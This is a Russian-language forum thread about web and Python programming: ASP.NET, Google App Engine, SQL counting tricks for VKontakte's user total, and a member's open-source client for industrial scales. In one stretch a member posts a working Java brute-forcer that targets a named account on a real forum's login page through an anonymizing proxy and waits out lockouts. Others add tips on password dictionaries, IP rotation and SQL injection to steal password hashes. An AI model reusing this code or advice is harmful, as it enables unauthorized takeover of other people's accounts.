Помощь - Поиск - Пользователи - Календарь
Полная версия этой страницы: Программирование
Новый Черняховский Форум > Hard & Soft > Программное обеспечение
Страницы: 1, 2, 3, 4, 5, 6, 7
Schnapz
Цитата(Vol.shebnik @ 24.1.2009, 14:20) *
Мужики! я в веб-программировании новичек... я подвис на Microsoft... под веб...
АСП.НЕТ - предоставляет богатейшие возможности для разработки сервеной части...
но беда в другом... меня забибикали эти постбаки, с постоянным обновлением всей страницы...
появились инструменты "типа AJAX"... но они внатуре только типа...
писать что-то AJAX подобное в Visual Studio - это писец.

скачал GWT... идея очень нравится. буду пробовать на нем разрабатывать клиентскую часть...

может кто еще что-нить посоветует? кто лично с чем то похожим работал...

Под венду пишешь? Асп.нет хорош, но тормозит адово, плюс результат работает стабильно только в IE sad.gif Мне хвалили язык программирования python, можешь попробовать, достаточно быстрый и открытый язык программирования на основе си. Хотя я думаю если у вас там сплошной асп.нет с шарепоинтом или еще чем, то питон тут не спасет sad.gif
Vol.shebnik
Цитата(Schnapz @ 26.1.2009, 15:17) *
Под венду пишешь? Асп.нет хорош, но тормозит адово, плюс результат работает стабильно только в IE sad.gif Мне хвалили язык программирования python, можешь попробовать, достаточно быстрый и открытый язык программирования на основе си. Хотя я думаю если у вас там сплошной асп.нет с шарепоинтом или еще чем, то питон тут не спасет sad.gif

вобщем мне пока нравится GWT для клиентской части. А серверная часть на АСП.НЕТ. Кстати она шикарно работает. Меньше говнокода, больше кеша, грамотные пулы - и все летает!
все приходит с опытом... я с каждой ревизией кода добиваюсь ускорения работы.
fantom
Подсел тута на Application Google Engine. В текущей версии доступны Python 2.5 и Java (ограничения на сокеты, файловые операции, обращения к ОС - предоставляются собственные решения). Дисковое пространство - 500 МБ, 2 млн. тиков процессора за одно обращение (не обрывается процесс а зомбируется), одновременный возврат из GQL(аналог SQL, продвинутый) до 1000 объектов одним махом, разрешается на сервант заливать до 10 приложений одновременно. +с десяток АПИ на регистрацию пользователя, кеширование в памяти, фреймворк webapp+шаблоны +Django с мелкими ограничениями (шаблоны вертятся) +Python Imaging Library (извращения над графикой в широком диапазоне). Файлы хранятся как объекты в базе данных Google (масштабируется и балансируется).
------------------------
ИМХО, с этим стоит поработать.
fantom
Спасибо халявскому трафику - практически под завязку укомплектован пакетами для Python 2.6
В развёрнутом виде Python занимает 250 МБ. Отдельно считатю Eclipse, c его 130 МБ в zip-архиве.
В тоже время стокнулся с неприятным моментом. Мой pyStarter под Python 2.6 (после Python 2.4) не запускает программы..
И, похоже я нашёл причину:
Код
    def RunInfraRecorder(self, Event=''):
        os.execv(self.path+u'InfraRecorder\\InfraRecorder.exe', [''])

Функция должна средствами оси запускать ИнфраРекордер но всё прощает.
Решение нашёл такое:
Код
...
(опочки, а код то я затёр.....)

Ладно. Потом исправлюсь. Суть в том, что с помощью функции exec() запускаю тот же кусок кода в отдельном экземпляре интрепретатора. А там конструируется батничек с нужным именем исполняемого файла. Файл собой затирает исходной процесс.
Но не тот из которого вся эта бодяга начилась.
Brutall
Сегодня чего-то вспомнил старую фишку - прикол про Вконтакте. Там же типа такая хрень, что на главной странице работает Java Script, который через случайные промежутки времени рандомно увеличивает счёткик зарегистрированных пользователей Контакта, типа там на уже 140 миллионов, вся фигня. Как-то видел у Павла Дурова на странице (ну он кагбэ типа создатель контактов вроде как) такую занимательную заметку:
Цитата
Почитал комментарии к новости о 10 миллионах и нашел забавное мнение, которое повторилось несколько раз. Вкратце оно сводится к следующему:

"вас не 10 миллионов, это вы тут накручиваете количество пользователей, потому что у вас на главной странице стоит простой javasсript".

Кодеры в этом месте уже могли посмеяться и получить удовольствие. Но я пишу эту заметку не для того, чтобы кто-то над кем-то посмеялся. Мне интересно подробнее остановиться на системе подсчета пользователей ВКонтакте - для тех, кто не совсем представляет, как эта система работает, но хотел бы знать.

Javasсript, который выводит динамику роста пользователей на главной странице, делает это на основе статистики скорости роста базы предыдущих дней в соответствии с математической ожидаемостью роста - в зависимости от часа и дня недели. Каждую ночь он синхронизируется с базой данных и корректирует количество зарегистрированных исходя из точных значений базы через SQL-запрос.

В результате этого погрешность в каждую отдельную секунду достигает всего 0.0001%, что очень хорошо для системы такого рода. Хотя, разумеется, наши собственные подсчеты количества пользователей мы предпочитаем делать на основе запросов к базе данных, а не на основе клиентских скриптов.

Реализовать систему, подобную приведенной выше, может не так много народу. И это нормально - не все обязаны быть программистами. Каждый человек, искушенный в высоконагрузочных системах, понимает, что COUNT к большой таблице в реальном времени каждые полсекунды кладет базу. Понятно, что без математического ожидания, которое выводит примерное количество пользователей с погрешностью 1-2 тыс. человек, здесь не обойтись.

В этой связи особенно занятно мнение "у Вас статистика считается простым java-скриптом". Остается только позавидовать уверенности, с которой ребята судят об окружающей их жизни.

Для чего я уделил этому мнению больше внимания, чем обычной чепухе, которую говорят о Контакте. Прежде всего, чтобы лишний раз вспомнить о том, насколько для нас важно выводить данные о количестве пользователей. ВКонтакте - единственный сайт, который выводит точное количество найденных пользователей при расширенном поиске по 10-миллионной базе. То есть только ВКонтакте Вы можете узнать, например, точное количество девушек, рожденных в 1984 году. Любой желающий может заняться даже подведением общеконтактовской статистики.

Ни одна другая социальная сеть такой возможности не даст (на большие запросы в лучшем случае скажет "найдено более 500 человек"), так как это требует действительно нетривиальных технических усилий. У нас широта возможностей доходит до абсурда: можно зайти в расширенный поиск, нажать "Начать поиск" без указания дополнительных условий - и выведется количество всех найденных пользователей.

Кроме того, ВКонтакте - социальная сеть, в которой порядковые номера пользователей выдаются более менее по порядку. Конечно, красивые номера типа 10000000 изымаются сразу, чтобы не искушать любителей регистрировать ботов для оккупирования круглых аккаунтов, но теоретически любой желающий может написать скрипт, который попытается зайти на каждый из порядковых номеров (id1, id2...) и посчитает актуальное количество пользователей.

Ни одна другая крупная социальная сеть не достигает подобной прозрачности в предоставлении статистической информации. Другие сайты могут заявить "нас 700 миллионов" - и никто никогда этого проверить не сможет. Только ВКонтакте предоставляет некие инструменты для сверки официальной статистики и актуальной.

Получается, пока мы единственный сайт, который дает открытую статистику по количеству пользователей, и также единственный, кого кто-то обвинил в ее закрытости.

Парадокс, верно? Но не может ли второе быть следствием первого?

Возвращаясь к мысли годовой давности - возможно, чем больше мы даем, тем больше подозрений вызываем.

Представьте, что на улице кто-то раздает деньги прохожим - Вы решите, что деньги фальшивые, верно?


Но вот что странно - почему-то этой статьи сейчас у Павла Дурова нет! Может он понял, что где-то обложался, и удалил её? Не знаю. Вот задумался на словами
Цитата
Каждый человек, искушенный в высоконагрузочных системах, понимает, что COUNT к большой таблице в реальном времени каждые полсекунды кладет базу. Понятно, что без математического ожидания, которое выводит примерное количество пользователей с погрешностью 1-2 тыс. человек, здесь не обойтись.

Это как? Я, конечно, не сильно крутой специалист, но всё же... Какая же СУБД стоит на обслуживании Контагда, если запрос COUNT там реально выполняется??? Даже сраный Мускул, ИМХО, так не делает, ВСЕГДА и почти В ЛЮБОЙ СУБД запрос COUNT на одиночную таблицу берётся из индекса. Дуров что, сам писал СУБД, и там нет индексов??? Не понимаю.

Ну и допустим, на секунду, что вот нет индексов у него. Ну не и всё. И что же делать? Мне, например, сразу пришло в голову такое решение:
создаём левую табличку UserNum с одним полем UN, в котором одна запись типа long. Первично заполняем её:
Код
insert into UserNum values (select COUNT(*) from ContaktVegetables where NAME<>'DELETED')

Начальное число у нас есть. Уже из этой таблицы можно брать значение количества юзеров. И теперь кто мешает нам написать два простейших триггера:
Код
Create trigger DContaktVegetables on ContaktVegetables
    for delete
    as
        declare @n int
        select @n=top 1 UN from UserNum
        update UserNum set UN=(@n-(select COUNT(*) from deleted))


Create trigger IContaktVegetables on ContaktVegetables
    for insert
    as
        declare @n int
        select @n=top 1 UN from UserNum
        update UserNum set UN=(@n+(select COUNT(*) from inserted))

И всё, проблема решена! Простой запрос на выборку к таблице UserNum можно хоть 100 раз в секунду делать, ничего не случится.

И, кстати, тока что понял, что Дуров гонит как Троцкий. Попробуйте сделать поиск по всей базе, типа там
http://vkontakte.ru/gsearch.php?from=people&sort=-1#c[country]=0&c[section]=people&offset=1000
Сразу видно, что ограничение есть. Так что ничем не проверить реальное число найденных записей, все ведь никак не отобразятся.
Schnapz
Дуров пацан не идейный, я помню его пост о том, что Вконтакте был и останется некоммерческой социальной сетью без рекламы. Кто сейчас хозяин этой овощебазы, я хз, но трендеть они могут что угодно. А Яваскрипт действительно присутствует...
worldmind
Да можно просто число регистраций считать, хоть триггером, хоть кодом и складировать его в кеш, кстати сейчас льётся в myisam таблицу 36 миллионов записей для эксперимента, льётся медленно, завтра скажу за сколько count отрабатывает
worldmind
Ещё льётся, но

mysql> select count(*) from vkontakte_count_test;
+----------+
| count(*) |
+----------+
| 21022718 |
+----------+
1 row in set (0.00 sec)

А вот если делать count по конкретному полю, то ждать долго, но понятное дело count тут не причём (при большой нагрузке он может быть не таким быстрым) - просто надо считать число регистраций и хранить его в кеше
Schnapz
Легче последний ID зарегистрированного юзера выводить, если там простой increment, то примерно правильное число и будет выходить, и запрос будет выполняться в н-раз быстрее каунта, все равно точно считать никто не будет.
worldmind
Цитата(Schnapz @ 22.6.2009, 18:43) *
Легче последний ID зарегистрированного юзера выводить, если там простой increment, то примерно правильное число и будет выходить, и запрос будет выполняться в н-раз быстрее каунта, все равно точно считать никто не будет.


А как его выбрать
Brutall
select top 1 id from ContactVegetables order by ID desc
что-то типа того, если top есть в твоей СУБД.
worldmind
А сколько такой запрос будет выполнятся, в mysql top вроде нет
mysql> select count(*) from vkontakte_count_test;
+----------+
| count(*) |
+----------+
| 36278013 |
+----------+
1 row in set (0.00 sec)

mysql> select id from vkontakte_count_test order by id desc limit 1;
+----------+
| id |
+----------+
| 36278013 |
+----------+
1 row in set (0.00 sec)

С виду разницы нет
Brutall
Вот! Что и требовалось доказать! Даже если это высоконагруженная система, count(*) выполняется мгновенно, и никак её не засрёт. ИМХО.
fantom
Даже если Дуров писал базу сам, получить ответ сколько юзверей в базе, используя единственную переменную - ну это точно не проблема.
--------------
А теперь оприятном: в тырнете нашёл Python 2.4, Python 2.5, Python 2.6 - портируемые версии (в смысле, можно с флехи запускать). Решил остановить свой выбор на Python 2.5. Зипованный комплект (вместе с кучей компонентов) - 64 метра. Распакованный - 248. Пакеты добавляется к базовой версии методом укладывания в питоновскую папку C:\Python2.5\lib\site-package\... Создаётся папка-пакет и туда заваливается усё. Без компонентов питон весит 24 метра. Вот чего мне не хватало для моего мега-комбайна тотал-коламбур объёмом 1,4 гектара (в 7zip 480 мегабайт). Там есть всё: ОпенОфис, 7зип, ИнфраРекордер, СеаМонкей, Опера@УСБ и т. д. Кророче - это праздник!
fantom
Решил себе облегчить задачу отладки написуемых программ.
Но вот незадача: в консоли венды и никсов разные кодировки сплошь и рядом.
Решение дебаггера очевидно: нарисовал окно с выводом отладки в другом потоке, и другой сессии Tk. Ел уважает только юникод. Не могу сказать что это плохо, хотя требует некоторого напряжения мозга для перекодировки. Ко всему прочему теперь я логи могу сохранять и оценивать скорость выполнения тех или иных команд. (хотя в профилировщике питона для этого имеются собственные средства)
fantom
Замечательная вещь - элемент из Tkinter - Text и ScrolledText - позволяет тэгами размечать шрифт - цвет, размер, гарнитура. Ко всему прочему - можно внедрять изображения, кнопки и списки и всякую шняжку. Короче, сила. На базе текстого виджета на Питоне написан браузер Грааль. Во, мля! Пошёл качать сие чудо!
fantom
Под MOPS Linux из коробки правильно настроена русская локаль+железобетонные вещи свежайшего разлива. Порадовал дистр.
fantom
Увидел на днях два примера калькулятора. На Питоне, естессна.
Более сложный пример калькулятора понравился словарём со списком функций-обработчиков и указанием типов кнопок. Не понравилось: функция eval тупо считает всё, что ей скормят. Потенциально опасно.
Brutall
Пишу тут одну программку:
Код
import java.io.BufferedReader;
import java.io.FileWriter;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Date;

public class Forcer {
    
    private static String ABC;
    private static String getTime() {
        DateFormat df = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss.SS");
        return df.format(new Date());
    }
    
    private static String cook;
    private static int tryPass(String pass) throws Exception{
        String data = "&" + URLEncoder.encode("UserName", "UTF-8") + "=" + URLEncoder.encode("Nick", "UTF-8");
        data += "&" + URLEncoder.encode("PassWord", "UTF-8") + "=" + URLEncoder.encode(pass, "UTF-8");
        data += "&" + URLEncoder.encode("CookieDate", "UTF-8") + "=" + URLEncoder.encode("1", "UTF-8");
        data += "&" + URLEncoder.encode("Privacy", "UTF-8") + "=" + URLEncoder.encode("1", "UTF-8");
        
        URL url = new URL("http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.angrapa.ru/forum/ipb.html?act=Login&CODE=01&CookieDate=1");
        URLConnection conn = url.openConnection();
        conn.setRequestProperty("Cookie", cook);
        conn.setDoOutput(true);
        OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream());
        wr.write(data);
        wr.flush();
        
        //Get the response
        
        BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
        String line;
        String s=new String();
        FileWriter f = new FileWriter ("Res.html");
                
        while ((line = rd.readLine()) != null) {
            s+=line;
            f.write(line);
            f.flush();
        }
        if (s.contains("Your account will automatically be unlocked in")) {
            int pos = s.indexOf("Your account will automatically be unlocked in");
            int minutes = Integer.valueOf(s.substring(pos + 47, s.indexOf("minutes", pos)-1));
            System.out.println(getTime()+ ": " + "Account is blocked, waiting for " + minutes + " minutes");
            Thread.currentThread().sleep(1000*60*(minutes + 1));
            System.out.println(getTime()+ ": " + "Wake up!");
            return -1;
        }
        if (s.contains("Sorry, an error occurred") || s.contains("Username or password incorrect"))
            return 1;
        else return 0;
    }

    public static void main(String[] args) {
        try {
        ABC = "1234567890";
        String enLetters = "abcdefghijklmnopqrstuvwxyz";
        String rusLetters = "абвгдеёжзийклмнопрстуфхцчшщьыъэюя";
        String symbols = ".,!@#$%^&*()_+|?><~`\";/:-' ";
        ABC = ABC + enLetters + enLetters.toUpperCase() + rusLetters + rusLetters.toUpperCase() + symbols;
        URL url = new URL("http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.angrapa.ru/forum/main.html");
        
        URLConnection conn = url.openConnection();
        conn.setDoOutput(true);
        cook=new String();
        String headerName=null;
        for (int i=1; (headerName = conn.getHeaderFieldKey(i))!=null; i++) {
             if (headerName.equals("Set-Cookie")) {                  
            String cookie = conn.getHeaderField(i);
            cook+=cookie;
             }
        }
        for (int i=0; i<ABC.length();i++) {
            String pass = ABC.substring(i, i+1);
            int code;
            do {
                System.out.println(getTime()+ ": " + "Trying " + pass);
                code = tryPass(pass);
            } while (code==-1);            
            if (code==1)
                System.out.println(getTime()+ ": " + "Wrong pass " + pass);
            if (code==0) {
                System.out.println(getTime()+ ": " + pass + " - this is it!");
                break;
            }                
    
        }
                        
        } catch (Exception e) {e.printStackTrace();}
    }
}


Возникла необычная проблема, с которой я никогда не сталкивался. При чтении респонса, если не ставить
Код
f.write(line);
f.flush();

некоторые страницы отдают ровно 32768 байт. Никак не могу понять, с чем это связано, и поборол вот только с помощью такого костыля. Кто-нибудь сталкивался?

И вторая проблема - надо придумать какой-нибудь нормальный алгоритм перебора smile.gif Поищу у Кнута, может найду чего...
Schnapz
Цитата
некоторые страницы отдают ровно 32768 байт. Никак не могу понять, с чем это связано, и поборол вот только с помощью такого костыля. Кто-нибудь сталкивался?

Хакир мля smile.gif Ваще удивлен, что тебе вообще что-то отдается smile.gif В ИПБ-шном движке нет html-ов, и логин происходит через файл index.php, как и все остальоне практически smile.gif
Цитата
И вторая проблема - надо придумать какой-нибудь нормальный алгоритм перебора smile.gif Поищу у Кнута, может найду чего...

Ну твоя текущая прога будет лет пицот работать, патаму ша по дефолту за 3 неудачные попытки система лочит минут на 15. Количество переборов можешь сам посчитать smile.gif Делай лучше так - две попытки, смена айпишника через ананимаус, и опять. Но опять же, очень долго все это будет происходить. Попробуй заюзать словарь готовых паролей или прогу, которая может сгенерить тебе эти словари smile.gif
Brutall
Цитата(Schnapz @ 8.4.2010, 10:25) *
Цитата
некоторые страницы отдают ровно 32768 байт. Никак не могу понять, с чем это связано, и поборол вот только с помощью такого костыля. Кто-нибудь сталкивался?

Хакир мля smile.gif Ваще удивлен, что тебе вообще что-то отдается smile.gif В ИПБ-шном движке нет html-ов, и логин происходит через файл index.php, как и все остальоне практически smile.gif

Да всё ок, так не важно, есть html или нет, мне отдаётся всё то же, что может браузеру отдаться, так что тут проблемы нет.
Цитата(Schnapz @ 8.4.2010, 10:25) *
Цитата
И вторая проблема - надо придумать какой-нибудь нормальный алгоритм перебора smile.gif Поищу у Кнута, может найду чего...

Ну твоя текущая прога будет лет пицот работать, патаму ша по дефолту за 3 неудачные попытки система лочит минут на 15. Количество переборов можешь сам посчитать smile.gif Делай лучше так - две попытки, смена айпишника через ананимаус, и опять. Но опять же, очень долго все это будет происходить. Попробуй заюзать словарь готовых паролей или прогу, которая может сгенерить тебе эти словари smile.gif

Смена айпишника не помогает, потому что блочится не айпишник, а аккаунт, как я понял. Долго работать - это да... Вообще такой вариант брутфорса без мазы, я вчера с 9 утра до 19 сидел, там прога даже этот готовый цикл по паролям длины 1 не успела закончить. А готовые словари... Ну это вариант, надо попробовать...
===СТАЛИНЕЦ===
И кого вы собрались подобрать? Блондинку с готовым паролем? Нафига?
Brutall
Цитата(===СТАЛИНЕЦ=== @ 8.4.2010, 22:58) *
И кого вы собрались подобрать? Блондинку с готовым паролем? Нафига?

О чём ты вообще? Какие блондинки? Мы тут алгоритмы обсуждаем, программирование, о каких подборах ты говоришь?
===СТАЛИНЕЦ===
Да так, ни о чём. smile.gif
Schnapz
Цитата
Смена айпишника не помогает, потому что блочится не айпишник, а аккаунт, как я понял. Долго работать - это да... Вообще такой вариант брутфорса без мазы, я вчера с 9 утра до 19 сидел, там прога даже этот готовый цикл по паролям длины 1 не успела закончить. А готовые словари... Ну это вариант, надо попробовать...

Словарь конечно лучше и удобнее, но такой метод хака ИПБ слишком варварский и долгий smile.gif Гораздо илитнее юзать дырки в коде, подсовывать запросы например, вынимать парольцы, хэшики и прочее smile.gif
Цитата
Да всё ок, так не важно, есть html или нет, мне отдаётся всё то же, что может браузеру отдаться, так что тут проблемы нет.

Да я просто увидел, что там хтмл стоял, подумал мож в этом ошипка smile.gif
worldmind
2 Brutall что-то не нравится мне твой код, сильно индюшатиной пахнет, какие-то бессмысленные циклы, я думаю надо было выделить осмысленные блоки в функции /методы, типо
сформироватьСтрокуЗапроса
выделитьВремяРазблокировки
и т.д.
fantom
worldmind тут прав.
Индюшатина не конченная, но на полпути - это да.
Брутфорс лучше, чем тупой перебор, но хуже чем SQL инъекция. Элементарно, нет пары скобок в запросе, и мюскля выпадает в осадок. Потроши, пока тёпленькая. НО! Не забываем и чтим уголовный кодекс. )))
fantom
Месяц назад достал меня на рабочем ноуте косяк венды с автозапуском. Сел я за дженни и поймал себя на мысли: этот редактор поддерживает по умолчанию utf8. Запускаю скрипт под линем, и что я вижу? Каким-то чудом, тандербирд (виндовый) запустился из-под вайна (хотя в скрипте я не указывал, что вайн потребуется). Через три минуты я забыл, что виндовый тандербирд работает из-под вайна, так зараза вписался в систему.
worldmind
Цитата
Через три минуты я забыл, что виндовый тандербирд работает из-под вайна, так зараза вписался в систему.

месье знает толк в извращениях
fantom
Я над этим работаю. Поскольку тандербирд портируемый, я могу через скрипт копировать базу туда-сюда-обратно до и после запуска. А так получается, конечно садо-мазо с вазелином.
Frost
А не проще в одной папке все оставить? Одни и те же пути прописать для виндового ТБ и для линуксового?
fantom
Объясняю. Как мысль - предложение верно.
Но фишка в том, что относительные пути под вендой работают косячно (зависит от версии венды). Пытался через системные переменные - UNC пути бывает также не катит (не все dll понимают (!!!???)). А в лине в этом плане проблем нет, если есть баш. spiteful.gif Системную переменную создал, и вперёд. Вот и приходится извращаться. Тут ещё момент есть. Не все программы понимают разницу \r \r\n \n. Тоже приходится мудрить. Кодировки в меньшей степени, но тоже иногда заставляют поволноваться.
Frost
Как я понял приход в том, что ковыряя ТБ из под линукса, получаем проблему в путях из-за того, что пути в линуксе немного не в дисках начинаются. Ммм... ну окей кэп)) А если ковырять наоборот? В виннде ставим какой-нибудь софт, чтобы ТБ в винде видела раздел линукса, при этом в линуксе получается ничего ковырять не надо.
fantom
))) Таки, шаришь. Именно такую программу на питоне для автозапуска я и написал. ))) Тандербирд, Мозилла, ТинВНС, ПунтоСвичер, Смалл ШТТП сервер, Атомик лаярм клок и т. д. Надо - запустил. Не надо - убил. Но и в моём мегасборничке порядка 300 программ не требующих инсталляциия (гимп, опен офис, скрибус и т. д.) - очень удобно из одной проги пускать. Два файлика - main.bat и main.sh. Впрочем, у меня bash и под венду есть. Так что линь потихоньку вытесняет даже с рабочего ноута вынь.
fantom
Пример того, как Python на счёт раз работает с сетью. Официальная приблуда от промышленных весов, хоть тресни не принимает данные с весов старого образца. Пришлось допилить свой вариант. Ну, практически, уже работает. )))
fantom
Весы от Metller Toledo - побеждены. Осталось мелкие косячки прибрать - но уже программа работает как надо.
Даже справку мелкую встроил. Может в меню "О разработчиках" свою морду запихнуть? spiteful.gif
worldmind
Это гут, откроешь под свободной лицензией или продавать будешь?
fantom
Софт продаваться не должен! Сегодня же прямо здесь и выложу. Килобайт этак 20-40... Питон, сётаки. spiteful.gif

Если бы начальство чего-то заплатило, и то не уверен, что был бы смысл закрывать прогу. Наверняка, у кого-нибудь тоже есть подобные проблемы. Мало кто решится расковыривать базу PostgreeSQL, чтобы выяснить внутреннюю структуру передаваемых данных. Кстати, сетевой сканер X-Spider зараза мне неправильно данные выдавал. Надо сбе свой сканер написать. Заготовочку как-то себе делал, когда в ж. д. сети хосты искал. Допилить до 100 потоков - как нефиг делать.
fantom
Выкладываю архивчег питоновских файлов для весов.
Запускать main.pyw!!!!
Есть там пару безобразных моментов, нет (пока лицензии ГПЛ в.2). Как допилю в более божеский вид - выложу.

В комплекте файл Imit_wes.py - имитирует работу весов. Тестовые, что называется - виртуальные. spiteful.gif
fantom
Допилил окно помощи, и таки похулиганил - воткнул морду своего лица. Иконки окон поменял.
Дальше, конечно, GPL воткнуть надо.
worldmind
Выкладывать надо на github, как например делал я со своим набором перловых тестов https://github.com/worldmind, заодно современную систему контроля версий освоишь - git
http://habrahabr.ru/blogs/Git/104198/
fantom
Не вижу смысла связываться с git. С одной стороны, я видимо, единственный человек, кто шкодит на Питоне в Черняховске. Во-вторых, у меня тощий инет - замучаюсь ждать, когда загрузится страница. Даже от этого форума. Ну и в-третьих, мне быстро надоедае текущая задача. Особенно, когда понятно, что близок финал. Хотя и нередки случаи, когда приходится бросать проект из-за туманных перспектив, нехватки времени, или просто потери мысли - "чего хотел сделать". Зачастую, проще начать заново, чем вспомнить, что нужно сделать. Ну, вот, весы например - сразу начал делать не в MVC, развивать дальше - будет тяжко. Хотя, конечно, я постараюсь привести клиент в божеский вид. Есть идея сделать единый воркспейс для кулькулятора, почтового клиента, удалённого логина и т. д. Но идея на столько объёмна, что здесь и подход совсем иной потребуется. Вплоть до того, что я на гугле завёл рабочий проект по проектированию ИДЕ на Питоне. Меня просто бесит невозможность в венде перемещать кнопки управления окном на заголовке. Вот этот моментик, я таки сделал в этом ИДЕ. )))) Дальше дело стопорнулось в полузародышевом виде, хотя шкода было уже прилично. Ладно, это всё планы. Надо GPL долепить. )))
fantom
Форум глючит. Почему-то открылось цитирование из другой темы в этом ответе.
Похоже, пора форуму переезжать на другой движок. spiteful.gif

Выкладываю с GPL v.2
Так что, OpenSource сегодня обогатился очередной приблудой. )))


Надо бы дописать процедуру отсечения быстрых колебаний веса. Это повысит надёжность измерения ещё процентов на 15-20%. Ну, и будет уже практически потолок. )
fantom
Похоже, это уже близко к финальной версии тулзы.
Исправил пару косяков, кое-где зашлифовал нестыковки.
Таки добавил фильтр быстрых колебаний, что даёт правильность детектирования веса точно, ровно на столько, на сколько это может потребоваться на практике. Здесь главное самому правильно поставить пороговый вес, и пороговое время измерения. Тогда вероятность правильной работы я бы оценил 90-95%.

Ниже скрин программы.

Быстрый фильтр отсекает колебания веса, если это колебание зафиксировано за время меньшее, чем 7% от порога времени измерения, но не менее 20 секунд. Думаю, на практике этого будет достаточно. Так например вагон нагружается удобрениями порядка 40 минут. Реально, вагон туда-сюда передвигается. Поэтому пороговое время я беру 600 секунд (10 минут). 7% от этого времени составит 42 секунды. Что, по моему, вполне достаточно для отсечения случайных колебаний. Имитатор весов настроен на несколько секунд выдать массу в 4 раза больше, чем установившийся максимум на несколько секунд. Эта помеха не прокатывает. spiteful.gif
Если считать, что помеха больше чем 100 кг на вагон действует 2-3 секунды с интервалом 10-15 секунд, то чтобы она была учтена потребуется в общей сложности от 2 до 5 минут. Если учесть, что толчки вагона распределяются по закона Гаусса, то уровень помехи будет зафиксирован где-то 0,7 от максимума помехи. Хотя, тут конечно не факт, и ещё над этим вопросом стоит подумать, так как характер помех для автомобильных весов, и ж. д. весов - очевидно отличается.
fantom
Доделал монитор. Вызвана необходимость из-за редких странных падений клиента. Теперь клиент весов завалить - надо постараться. Монитор в тихую перезапускает клиент, если нет ответа в течении 15 секунд.
fantom
Встроил в клиент веб-сервер. Висит на порту 1751, и каждые 5 секунд выкидывает страницу с состоянием весов. Пока оператор логи не очистит - все логи будут высвечиваться. Соответственно, обновлена справка.
Веб-сервер нужен, чтобы не нагружать выходы весов. Да и информация с них - неперевариваемая.

Кроме того, один пакет графики я не включал в архив, наивно полагая, что он у всех есть. А как он у всех будет, если я сам его написал!!! ))) spiteful.gif Короче, исправляюсь.
worldmind
Да тут размещать такой узкоспециализированный пакет не очень эффективно - скорее всего ни одному форумцу он не нужен, а для того чтобы нашли поиском может не хватить описания, может отдельную тему с подробным описанием сделай, хотя понятное дело есть есть желание его распространять и получать патчи и предложения, то надо и git и sourceforge юзать и пакеты для дистров делать
fantom
Да это дело - до ближашего паука. Ты попробуй погуглить на тему "mettler toledo ind310 программа для просмотра веса на ПК" spiteful.gif Хрен чё есть. А то что есть - в виде com-драйвера за хорошую денюжку. Обломится юношам, которые этот драйвер написали. )))
Строго говоря, встраивать мыльный клиент в программу я уже не намерен. Дальше "АРВИ" эти данные всё-равно никому не нужны. Того, что есть - достаточно.

А вообще, я признаю, что я не самый дисциплинированный программист. Профессиональный спортсмен во мне, по сути не родился. В армии отслужил 9 лет и капитаном благополучно ушёл (вот это был, пожалуй акт осознанной личной и честной воли). Может депутат облдумы из меня получится лучше? )))))
fantom
Небольшой допил. Автовесы хитрым образом выдают информацию. В результате работы, общий алгоритм получения данных для автовесов даёт результат ноль. Пришлось ввести исключительную ситуацию. Плохо, что обработка зашита намертво, с другой стороны - код Питона - плоский текст. Имеющий руки да допилит. )))
Seaman
Цитата
Ты попробуй погуглить на тему "mettler toledo ind310 программа для просмотра веса на ПК" Хрен чё есть.

паук был
теперь есть
Для просмотра полной версии этой страницы, пожалуйста, пройдите по ссылке.
Русская версия IP.Board © 2001-2024 IPS, Inc.